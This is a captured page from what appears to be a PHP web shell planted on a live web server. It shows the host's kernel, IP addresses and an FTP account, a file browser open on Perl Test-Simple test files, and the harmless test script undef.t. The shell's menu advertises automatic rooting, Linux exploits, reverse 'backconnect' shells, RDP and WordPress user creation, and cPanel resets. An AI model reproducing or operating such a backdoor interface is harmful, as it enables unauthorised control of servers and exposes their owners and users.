Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Test-Simple /
t /
Legacy /
[ HOME SHELL ]
Name
Size
Permission
Action
Bugs
[ DIR ]
drwxr-xr-x
Builder
[ DIR ]
drwxr-xr-x
Regression
[ DIR ]
drwxr-xr-x
Simple
[ DIR ]
drwxr-xr-x
Test2
[ DIR ]
drwxr-xr-x
Tester
[ DIR ]
drwxr-xr-x
subtest
[ DIR ]
drwxr-xr-x
00test_harness_check.t
764
B
-rw-r--r--
01-basic.t
90
B
-rw-r--r--
478-cmp_ok_hash.t
923
B
-rw-r--r--
BEGIN_require_ok.t
463
B
-rw-r--r--
BEGIN_use_ok.t
388
B
-rw-r--r--
More.t
5.1
KB
-rw-r--r--
auto.t
598
B
-rw-r--r--
bad_plan.t
495
B
-rw-r--r--
bail_out.t
851
B
-rw-r--r--
buffer.t
444
B
-rw-r--r--
c_flag.t
458
B
-rw-r--r--
capture.t
488
B
-rw-r--r--
check_tests.t
2.38
KB
-rw-r--r--
circular_data.t
1.17
KB
-rw-r--r--
cmp_ok.t
1.75
KB
-rw-r--r--
depth.t
383
B
-rw-r--r--
diag.t
1.39
KB
-rw-r--r--
died.t
889
B
-rw-r--r--
dont_overwrite_die_handler.t
515
B
-rw-r--r--
eq_set.t
562
B
-rw-r--r--
exit.t
3.17
KB
-rw-r--r--
explain.t
582
B
-rw-r--r--
explain_err_vars.t
122
B
-rw-r--r--
extra.t
1.11
KB
-rw-r--r--
extra_one.t
910
B
-rw-r--r--
fail-like.t
1.56
KB
-rw-r--r--
fail-more.t
10.55
KB
-rw-r--r--
fail.t
1.22
KB
-rw-r--r--
fail_one.t
873
B
-rw-r--r--
filehandles.t
290
B
-rw-r--r--
fork.t
456
B
-rw-r--r--
harness_active.t
1.43
KB
-rw-r--r--
import.t
244
B
-rw-r--r--
is_deeply_dne_bug.t
887
B
-rw-r--r--
is_deeply_fail.t
11.52
KB
-rw-r--r--
is_deeply_with_threads.t
1.37
KB
-rw-r--r--
missing.t
1.08
KB
-rw-r--r--
new_ok.t
705
B
-rw-r--r--
no_log_results.t
260
B
-rw-r--r--
no_plan.t
840
B
-rw-r--r--
no_tests.t
823
B
-rw-r--r--
note.t
416
B
-rw-r--r--
overload.t
2.13
KB
-rw-r--r--
overload_threads.t
1.15
KB
-rw-r--r--
plan.t
474
B
-rw-r--r--
plan_bad.t
1.05
KB
-rw-r--r--
plan_is_noplan.t
404
B
-rw-r--r--
plan_no_plan.t
794
B
-rw-r--r--
plan_shouldnt_import.t
294
B
-rw-r--r--
plan_skip_all.t
190
B
-rw-r--r--
require_ok.t
786
B
-rw-r--r--
run_test.t
4.13
KB
-rw-r--r--
simple.t
200
B
-rw-r--r--
skip.t
1.92
KB
-rw-r--r--
skipall.t
481
B
-rw-r--r--
strays.t
480
B
-rw-r--r--
tbm_doesnt_set_exported_to.t
457
B
-rw-r--r--
thread_taint.t
122
B
-rw-r--r--
threads.t
616
B
-rw-r--r--
todo.t
3.28
KB
-rw-r--r--
undef.t
1.95
KB
-rw-r--r--
use_ok.t
2.29
KB
-rw-r--r--
useing.t
365
B
-rw-r--r--
utf8.t
1.49
KB
-rw-r--r--
versions.t
503
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : undef.t
#!/usr/bin/perl -w # HARNESS-NO-FORK BEGIN { if( $ENV{PERL_CORE} ) { chdir 't'; @INC = ('../lib', 'lib'); } else { unshift @INC, 't/lib'; } } use strict; use Test::More tests => 21; BEGIN { $^W = 1; } my $warnings = ''; local $SIG{__WARN__} = sub { $warnings .= join '', @_ }; my $TB = Test::Builder->new; sub no_warnings { $TB->is_eq($warnings, '', ' no warnings'); $warnings = ''; } sub warnings_is { $TB->is_eq($warnings, $_[0]); $warnings = ''; } sub warnings_like { $TB->like($warnings, $_[0]); $warnings = ''; } my $Filename = quotemeta $0; is( undef, undef, 'undef is undef'); no_warnings; isnt( undef, 'foo', 'undef isnt foo'); no_warnings; isnt( undef, '', 'undef isnt an empty string' ); isnt( undef, 0, 'undef isnt zero' ); Test::More->builder->is_num(undef, undef, 'is_num()'); Test::More->builder->isnt_num(23, undef, 'isnt_num()'); #line 45 like( undef, qr/.*/, 'undef is like anything' ); no_warnings; eq_array( [undef, undef], [undef, 23] ); no_warnings; eq_hash ( { foo => undef, bar => undef }, { foo => undef, bar => 23 } ); no_warnings; eq_set ( [undef, undef, 12], [29, undef, undef] ); no_warnings; eq_hash ( { foo => undef, bar => { baz => undef, moo => 23 } }, { foo => undef, bar => { baz => undef, moo => 23 } } ); no_warnings; #line 74 cmp_ok( undef, '<=', 2, ' undef <= 2' ); warnings_like(qr/Use of uninitialized value.* at \(eval in cmp_ok\) $Filename line 74\.\n/); my $tb = Test::More->builder; SKIP: { skip("Test cannot be run with this formatter", 2) unless $tb->{Stack}->top->format->isa('Test::Builder::Formatter'); my $err = ''; $tb->failure_output(\$err); diag(undef); $tb->reset_outputs; is( $err, "# undef\n" ); no_warnings; } $tb->maybe_regex(undef); no_warnings; # test-more.googlecode.com #42 { is_deeply([ undef ], [ undef ]); no_warnings; }
Close
